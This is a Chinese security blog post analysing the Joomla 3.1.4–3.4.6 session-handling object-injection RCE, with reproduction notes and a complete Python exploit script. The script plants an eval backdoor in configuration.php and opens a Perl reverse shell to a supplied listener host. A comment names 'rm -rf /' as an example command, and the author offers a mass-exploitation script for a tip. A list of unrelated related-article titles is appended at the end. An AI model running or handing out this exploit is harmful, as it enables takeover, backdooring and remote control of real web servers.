距离Joomla漏洞爆出已经有一段时间了,网上资料也出来很多了,不过大多都是类似的,我这边参考总结了一下,顺便加了一点本地化复现和分析的干货。

0x01漏洞介绍

Joomla是一套全球知名的内容管理系统,是使用PHP语言加上MySQL数据库所开发的软件系统。

漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程命令执行。

0x02 影响范围

本地复现实测3.1.4-3.4.6

0x03 漏洞原因分析

该漏洞是和Joomla的会话的运作机制有关,Joomla 会话以 PHP Objects 的形式存储在数据库中且由 PHP 会话函数处理,但是由于Mysql无法保存Null 字节,函数在将session写入数据库和读取时会对象因大小不正确而导致不合法从而溢出。因为未认证用户的会话也可存储,所以该对象注入 (Object Injection) 可以在未登录认证的情况下攻击成功,导致RCE。

当我们在 Joomla中执行 POST 请求时,通常会有303重定向将我们重定向至结果页。这是利用的重要事项,因为第一个请求(含参数)将只会导致 Joomla 执行动作并存储(例如调用write() 函数)会话,之后303重定向将进行检索(如调用read() 函数)并将信息显示给用户。

漏洞利用文件 ‘libraries/joomla/session/storage/database.php’中定义的函数 read()和 write()由session_set_save_handler()设置,作为‘libraries/joomla/session/session.php:__start’ session_start() 调用的读和写处理程序。

由于Mysql无法保存Null 字节,write函数在将数据存储到数据库之前(write函数)会用‘\0\0\0’替换‘\x00\x2a\x00’(chr(0).’’.chr(0)),而在序列化对象中, $protected 变量被赋予‘\x00\x2a\x00’前缀。

当读取数据库中的数据时, read 函数会用‘\x00\x2a\x00’(NN)替换‘\0\0\0’,重构原始对象。

这种替换的主要问题在于它用3个字节替换了6个字节,之前所述,我们能够通过动作参数的读取和写入来操纵该会话对象进行注入将被3个字节替换的‘\0\0\0’,导致对象因大小不正确(字节长度不同)导致不合法,造成溢出。

实际中发送的特殊构造(包括写入webshell)的请求:

URL decode:

在本次曝光的Poc中就是用username字段进行溢出,password字段进行对象注入,如果插入任意serialize字符串,构造反序列化漏洞了

0x04 漏洞影响范围分析

我个人为了确定该漏洞的版本边界值,写了一个简单的批量利用脚本。

下方是批量利用的脚本测试的结果,很奇怪的是,该漏洞版本并没有影响3.0.0-3.1.3,而是从3.1.4版本开始的。(黄色箭头所示的【dacade】是我的shell密码,我直接将shell密码写死了,懒得后面在菜刀连接的时候复制那段随机生成码费事)

对于版本信息3.1.4-3.4.6的CMS,在执行exp文件时都是可以正常getshell的,

3.1.4-3.4.6版本利用burp按步分析,对shell连接测试的时候没问题。(fuck是我写的echo字段,具体情况根据个人所写代码的不同而不同)

在3.1.4以下版本该步骤无法全部正常执行,写入shell失败,经过长时间的追踪发现,是由于在发送特殊构造(包括写入webshell)的请求时步骤时,无法file_put_contents写入shell,

而在3.4.6版本以上,Joomla对于session信息进行了编码(base64)处理,所以无法触发该漏洞。

同时,该漏洞和php版本也有密切关系,因为高版本的PHP版本(PHP>=5.6.13)对于seesion的处理方式发生了变化。

5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session。

https://github.com/php/php-src/blob/PHP-5.6.13/ext/session/session.c

当PHP版本为5.4.45时,

可以getshell,

当PHP版本为5.6.27时

无法getshell,

0x05 漏洞复现

本地环境:phpstudy [5.4.45-php+Apache+Mysql]

搭建过程:

将下载好的CMS解压缩到网站目录,然后进入网页端按照提示安装即可。

检测脚本的话网上单个的检测脚本挺多的,你们随便下载一个就行了,

逐步调试:

1、获取目标站点cookie

2、获取目标站点token

3、发送特殊构造(包括写入webshell)的请求

4、对shell进行连接测试

可以正常getshell。

0x06 漏洞总结

该漏洞影响的范围是很小的,原因在于:

1.Joomla后台提供了一键升级功能,站长的升级成本小并且方便。(你不升级它天天提示,估计强迫症不想升级都升级了)

2.影响的版本范围不大。

3.有一定的PHP版本要求。

PS:这个漏洞的批量脚本我就不单独放出来了,要是有想要的欢迎赞赏一杯coffee获取,不过单个的调试脚本还是有的。

单个调试脚本:

#!/usr/bin/env python3

import requests

from bs4 import BeautifulSoup

import sys

import string

import random

import argparse

from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}

PROXS = {}

def random_string(stringLength):

letters = string.ascii_lowercase

return ''.join(random.choice(letters) for i in range(stringLength))

backdoor_param = random_string(50)

def print_info(str):

print(colored("[*] " + str,"cyan"))

def print_ok(str):

print(colored("[+] "+ str,"green"))

def print_error(str):

print(colored("[-] "+ str,"red"))

def print_warning(str):

print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):

token = ''

resp = requests.get(url, cookies=cook, proxies = PROXS)

html = BeautifulSoup(resp.text,'html.parser')

# csrf token is the last input

for v in html.find_all('input'):

csrf = v

csrf = csrf.get('name')

return csrf

def get_error(url, cook):

resp = requests.get(url, cookies = cook, proxies = PROXS)

if 'Failed to decode session object' in resp.text:

#print(resp.text)

return False

#print(resp.text)

return True

def get_cook(url):

resp = requests.get(url, proxies=PROXS)

#print(resp.cookies)

return resp.cookies

def gen_pay(function, command):

# Generate the payload for call_user_func('FUNCTION','COMMAND')

template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'

#payload = command + ' || $a=\'http://wtf\';'

payload = 'http://l4m3rz.l337/;' + command

# Following payload will append an eval() at the enabled of the configuration file

#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'

function_len = len(function)

final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))

return final

def make_req(url , object_payload):

# just make a req with object

print_info('Getting Session Cookie ..')

cook = get_cook(url)

print_info('Getting CSRF Token ..')

csrf = get_token( url, cook)

user_payload = '\\0\\0\\0' * 9

padding = 'AAA' # It will land at this padding

working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'

clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

inj_object = '";'

inj_object += object_payload

inj_object += 's:6:"return";s:102:' # end the object with the 'return' part

password_payload = padding + inj_object

params = {

'username': user_payload,

'password': password_payload,

'option':'com_users',

'task':'user.login',

csrf :'1'

}

print_info('Sending request ..')

resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)

return resp.text

def get_backdoor_pay():

# This payload will backdoor the the configuration .PHP with an eval on POST request

function = 'assert'

template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'

# payload = command + ' || $a=\'http://wtf\';'

# Following payload will append an eval() at the enabled of the configuration file

payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'

function_len = len(function)

final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))

return final

def check(url):

check_string = random_string(20)

target_url = url + 'index.php/component/users'

html = make_req(url, gen_pay('print_r',check_string))

if check_string in html:

return True

else:

return False

def ping_backdoor(url,param_name):

res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)

if 'PWNED' in res.text:

return True

return False

def execute_backdoor(url, payload_code):

# Execute PHP code from the backdoor

res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)

print(res.text)

def exploit(url, lhost, lport):

# Exploit the target

# Default exploitation will append en eval function at the end of the configuration.pphp

# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')

# e.g. get_payload('system','rm -rf /')

# First check that the backdoor has not been already implanted

target_url = url + 'index.php/component/users'

make_req(target_url, get_backdoor_pay())

if ping_backdoor(url, backdoor_param):

print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)

print_info('Now it\'s time to reverse, trying with a system + perl')

execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')

if __name__ == '__main__':

parser = argparse.ArgumentParser()

parser.add_argument('-t','--target',required=True,help='Joomla Target')

parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')

parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')

parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')

parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')

args = vars(parser.parse_args())

url = args['target']

if(check(url)):

print_ok('Vulnerable')

if args['exploit']:

exploit(url, args['lhost'], args['lport'])

else:

print_info('Use --exploit to exploit it')

else:

print_error('Seems NOT Vulnerable ;/')

参考:

joomla 3.4.5 php版本,Joomla3.4.6漏洞最强总结相关推荐

  1. php_rce-攻防世界-web-ThinkPHP版本5的相关漏洞

    题目是ThinkPHP版本5的相关漏洞 ThinkPHP5框架底层对控制器名过滤不严,可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞. s=index/think ...

  2. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

    ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 漏洞概述: ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架.借鉴Struts框架的Action对象,同 ...

  3. [转载] --- Fastjson1.2.68版及以下全版本远程代码执行漏洞通告

    再这样,真的要放弃fastjson了 [安全通告]Fastjson <=1.2.68全版本远程代码执行漏洞通告 尊敬的腾讯云用户,您好! 近日,腾讯云安全运营中心监测到,Fastjson < ...

  4. 查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)

    OpenSSH命令注入漏洞复现(CVE-2020-15778) 目录 漏洞描述 漏洞等级 漏洞影响版本 漏洞复现 修复建议 ▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现.通 ...

  5. 用户身份和浏览记录一览无遗,Safari最新版本被曝高危漏洞

    在苹果官网上,Safari浏览器一直以强大的隐私保护功能作为卖点.其中,智能防跟踪和隐私标签等功能满足用户需求.但在近日,浏览器指纹识别服务商FingerprintJS发布了一篇博客,经他们调查发现, ...

  6. joomla 3.4.5 php版本,joomla升级

    joomla升级有两种方法 第一种方法是:自动升级 步骤: 1.进入网站后台在组件下找到并点击"joomla Upgrade"后者是"joomla 升级" 2. ...

  7. IIS6.0,Apache低版本,PHP CGI 解析漏洞

    IIS6.0解析漏洞 在IIS6.0下存在这样的文件"名字.asp;名字.jpg" 代表了jpg文件可以以asp脚本类型的文件执行. 根据这个解析漏洞我们可以上传这种名字类型的图片 ...

  8. Windows 多个系统版本惊现大漏洞,攻击者可随意操作程序!

    整理 | 伍杏玲 出品 | CSDN(ID:CSDNnews) 之前在文章Windows 7,难说再见中提到,即使离Windows 7退役时间还有不到200天,可截至到三月份,仍有35.63%的用户使 ...

  9. linux下openssh5.3漏洞,linux的低版本中openssh三大漏洞的分析及修复方法

    一:漏洞分析最近进行linux系统安全加固分析,进行漏洞扫描扫描分析,不扫不知道,一扫吓一跳,linux系统服务器的 OPENSSH存在3大安全漏洞,祥如下: 1:OpenSSH GSSAPI 处理远 ...

最新文章

  1. 和12岁小同志搞创客开发:手撕代码,做一款声控灯
  2. LeetCode 530二叉搜索树的最小绝对值差-简单
  3. ocsng mysql connection problem_OCSNG 介绍及其工作原理
  4. java实现对文件加解密操作
  5. java calendar_Java Calendar complete()方法与示例
  6. 不是所有的程序员都适合转管理
  7. 奖品好low !! -- 说说开源中国oschina的年度评选
  8. WeixinJSBridge目前还能够直接使用的功能(2019)
  9. 基于分数阶的图像边缘细节检测
  10. poj 1159 (DP LCS)
  11. Python实战案例:金庸的功夫流派、人物关系的分析案例(下)
  12. 算法竞赛入门经典(第2版)-刘汝佳-第九章例题解题源码(C++语言)(部分)
  13. 计算机实数表示法---浮点数(一)
  14. 什么是“懒加载”(Lazy Loading)?
  15. python exec函数和eval函数_python中的exec()函数和eval()函数
  16. php insertrow,table insertRow、deleteRow定义和用法总结_javascript技巧
  17. swiper3 匀速无缝滚动
  18. Linux期末考试简答题
  19. 【PWA学习】4. 使用 Push API 实现消息推送
  20. html表格table的表头排序,js代码fastunit使用案例

热门文章

  1. phpcms URL修改
  2. I/O Performance HOWTO: Avoiding Bounce Buffers
  3. Oracle技术之和分区表相关的一点总结(四)
  4. ASP.Net MVC Relational KeyWord 4 Google 【More...】【欢迎补充】
  5. PIE SDK影像坏线修复
  6. windows远程连接报错--“发生身份验证错误。要求的函数不受支持”
  7. selenium-如何多次循环某一个脚本
  8. 【1】万魂杀MMORPG研发回顾
  9. 没落的Ubuntu Touch想翻盘:新技术可运行Android应用
  10. Android记录一个setTextColor常见的一个bug